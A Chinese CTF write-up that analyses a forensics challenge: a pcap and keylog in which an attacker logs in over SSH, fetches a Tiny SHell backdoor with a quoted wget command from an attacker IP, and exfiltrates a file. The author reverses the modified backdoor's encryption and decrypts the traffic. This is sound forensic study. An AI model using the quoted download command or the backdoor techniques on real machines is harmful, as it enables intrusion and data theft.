有一阵子没有玩CTF,后来有一个师傅问了一下这个题目,突然就来了兴趣,于是好好研究了一下这个题目,发现这个题目质量确实可以,于是写了一份WP来记录一哈
初步分析
文件下载下来,可能看到一个叫做keylog的文件和一个pcap包,pcap包中数据流分成三个stream,分别包含如下内容
- 第一个stream是一个ssh链接
- 第二个是一个http传输的一个叫做bash的文件
- 第三个完全是一个加密的流量,看不出来具体内容
第一个stream表示ssh链接,不过ssh通信的内容肯定是加密的:
第二个stream是一个http请求包,似乎下载了文件
第三个stream看不太懂发生了什么
而keylog文件里面的内容如下:
1 | wget http://192.168.1.5:9999/bash |
首先我们分析题目,题目提到说,这是一个攻击者通过弱口令进入了受害者机器然后进行操作为背景的题目。所以这边的流量和keylog可以理解成是针对这么个场景进行分析的,那么此时,结合流量包和keylog,我们能够分析出如下条件:
- 从题目描述可知,攻击者使用ssh登陆上了被害者的电脑,那么此时keylog记录的是攻击者的IP,也就是192.168.1.5
- 从流量包可知,另一个通信的IP是192.168.1.4,所以这个是受害者的IP
- ssh流量记录的正是攻击者用ssh连接到受害者的流量,敲下了keylog中记录的数据的那段记录
于是整个题目大致的流程如下:
了解到这些初步信息之后,我们再对题目给出的信息进行进一步的分析
stream 0:ssh与侧信道
结合题目提示到的ssh侧信道,可以找到一个叫做packetStrider
的脚本,能够通过输入传输的时间,进行测信道分析。其中能够比较明显的区分Enter、Delete、普通字符输入这些。我们使用工具简单分析:
1 | ┏━━━━ Reporting results for stream 0 |
通过比对输入的字符的个数,可以验证ssh中的流量正是提供的keylog记录的数据。
然而比较有趣的是,第三行的输入似乎有过几次delete的痕迹,而delete从keylog中似乎没有体现出来。根据此时提供的工具,我们可以尝试还原攻击者链接ssh后进行的输入,可以得到如下的结果:
1 | wget http://192.168.1.5:9999/bash |
stream 1:bash的逆向
由于stream1中是一个http请求,我们可以尝试讲文件进行dump
很容易的可以发现,http请求了一个elf文件,这一步正好就是keylog中记录的第一步。于是我们简单逆向一下bash。
可以发现,这个bash文件很类似一个加密的shell,等待攻击者的机器与其通信。文件首先会尝试绑定本地的IP,并且将运行时的第一个参数作为密钥解密
在这个函数中,会有大量的通信逻辑,并且其中还加载着多个加密逻辑:
1 | do |
考虑到stream 2
我们还没有弄明白其含义,并且其中并没有包含任何明文。结合我们最终需要找flag的需求,很可能最终的flag存在于加密的通信内容中。于是此时我们需要简单的逆向bash的逻辑。
Tiny SHell
考虑到整个题目的通信比较完整,可能不是一个简单的bash程序,所以上网搜了一圈,找到了非常类似源码项目。这个项目的介绍是:
Tiny SHell - An open-source UNIX backdoor
项目文件中包含了aes、sha1等文件,基本上实锤了其中存在加密的成分。之后用PEiD简单查看,发现这个bash程序中,包含了md5和sha1两种签名算法(这是一个伏笔),于是结合着源码来看,很快就有了如下的分析:
- 出题人简单魔改了程序入口,密钥需要经过输入入口的异或才会被使用。
- 出题人在代码某处增加了md5算法。
结合这段分析,我们对整个题目有了更新的认识:
stream 2:加密协议的解密
到了最后一步,此时已经明白了基本的目标,于是此时需要分析整个Tiny SHell通信过程中的加密流程。这边可以结合着代码和逆向结果来看:
初始化 pel
由于此时Tiny SHell
作为一个部署在被攻击机器的正向shell,其首先会尝试去进行server端的初始化(因为是等待链接的),在源码中的形式为:
1 | int pel_server_init( int client, char *key ) |
对应到二进制程序:
1 | v2 = buffer; |
这一段可以对应源码中的 ret = pel_recv_all( client, buffer, 40, 0 );
,并且我们此时检查流量包,发现stream 2
的第一个流量包确实是40字节,验证了我们的猜想。
之后,根据源码,会去调用一个叫做pel_setup_context
的函数
1 | void pel_setup_context( struct pel_context *pel_ctx, |
然而这个地方,如果尝试逆向了二进制程序中,会发现此时调用的并不是sha1,而是md5(正好回收了之前的伏笔):
1 | RecvStatus = -6; |
这个地方是本题的一个坑点,如果无脑的使用了源码,那么最终的解密是一定会失败的。并且可以注意到,此时将发送包的前20字节用作生成recv密钥,后20字节用于生成send密钥。那么直到这一步,我们有如下结论:
- 第一个包收到的40字节,用于生成send密钥和recv密钥
- 前20字节是recv密钥
- 后20字节是send密钥
recv decrypt and check challenge
之后的逻辑中,为了保证整个通信能建立成功,以及密钥为正确的密钥,此时会检查一个签名
1 | do |
这里可以看到,首先会接受长度为16字节的字符,然后将其传入sub_11A0
,一同操作之后得到的buffer需要和encode_sign
进行比较,从而验证整个通信过程中的密钥是否正确
1 | .data:0000000000210130 encode_sign xmmword 0ED417AFD387B717304ED8580F0B30E9Ah |
这边的签名也被出题人该过,所以不能完全信赖源码啊
可以注意到,在进行签名比较之前,程序会调用函数sub_11A0
,这个函数比较长,可以结合着源码看:
1 | unsigned char temp[16]; |
大致的逻辑就是:程序接受的16字节字符串,使用我们之前生成的recv密钥进行解密(解密方式为类似cbc的模式),并且解密解开的buffer中,前两个字节表示当前输入的长度。如果输入的长度超过固定大小,则同样视为解密失败。如果长度解密完成之后,还要进行完整性校验:
1 | /* verify the message length */ |
这边会根据本应传输的buffer长度,直接跳转到buffer的尾部,然后并且用之前生成的密钥进行消息的验证。完成确认之后,最终会对整个传输的数据进行解密:
1 | /* finally, decrypt and copy the message */ |
于是在完成这一大段分析之后,我们可以得到Tiny SHell的一个基本的传输协议:
1 | content_length(2 byte)+content_encrypt(length byte)+hmac(20 byte) |
在完成了数据解密之后,程序会去check当前解密的数据和encode_sign
是否相等, 从而完成检查。(还剩一小段见下)
回到流量包,可以看到目前的流量传输形式如下:
红色部分的是攻击机器往受害者机器通信的流量,蓝色的则是受害者机器回复攻击机器通信的流量,看起来整个流量通信中似乎bash也有往攻击机器发送流量的部分。会看刚刚的challenge逻辑,可以看到我们还有一小段没有分析:
1 | buffer[35] = qword_211BB8; |
结合上文分析,这边将我们的challenge(也就是encode_sign
)向客户端发送。此时发送也有一个函数,不过此时使用的是send密钥进行加密。于是上图中的问号部分也可以解开了,是server用于和client通信的数据包。
于是整个challenge流程可以写作如下:
- server监听来自client发送的两个IV,并且初始化自己的密钥,其中前20字节用于生成recv,后20字节用于生成send
- client发送一个用IV加密后的密文,此时使用recv密钥进行解密
- server验证收到的密文是否为
encode_sign
,相等之后,将这个验证过程发送到client,最终完成验证
最终的文件获取
在前面几个步骤中,我们已经理清了整个加密流程,于是我们利用源码,可以简单的改造一下,写一个解密脚本
1 |
|
对比此时的流量图如下:
此时要记住,红色的流表示的是攻击者发送到受害者的包,蓝色的流表示的是受害者发向攻击者的包,在记住了这个之后,我们就能知道,
packet425和427两个包,表示的是攻击者企图从受害者电脑上偷取的文件名字,也就是一个类似get的函数。并且在源码中也能找到类似的函数:
1 | int tshd_get_file( int client ) |
于是最终的flag很明显了,就是此时从受害者主机上偷走的文件!
所以最后我们根据整个解密代码,以及解析流量包,可以将main函数完善如下:
1 | int main() |
最终解密发现文件是一个jpeg文件,打开后得到最终的flag
至此,整个题目解密完成
一些思考
遇到这个题目的时候,实际上比赛已经结束了,然而整个题目非常之巧妙,当发现最终的flag【来自于受害者主机】的时候,感觉真的有一种要拿到宝藏的感觉。misc题目设计最困难的就是诱导选手去思考题目,而这边将三个考点分别藏在了同一个流量包的三段stream上,做起来一气呵成,没有太多需要脑洞的地方,实属misc脑洞横飞中的一股清流。
misc题目这个方向下的取证题目质量通常参差不齐,而本题基本上是模拟了一个现实场景中,针对攻击者的简易攻击,进行取证,信息搜集,协议分析,逆向,加密协议破解等均进行了考察,笔者从这边了解到了不少的知识,感觉受益匪浅。
最后不多说了,吹爆出题人就完事儿了~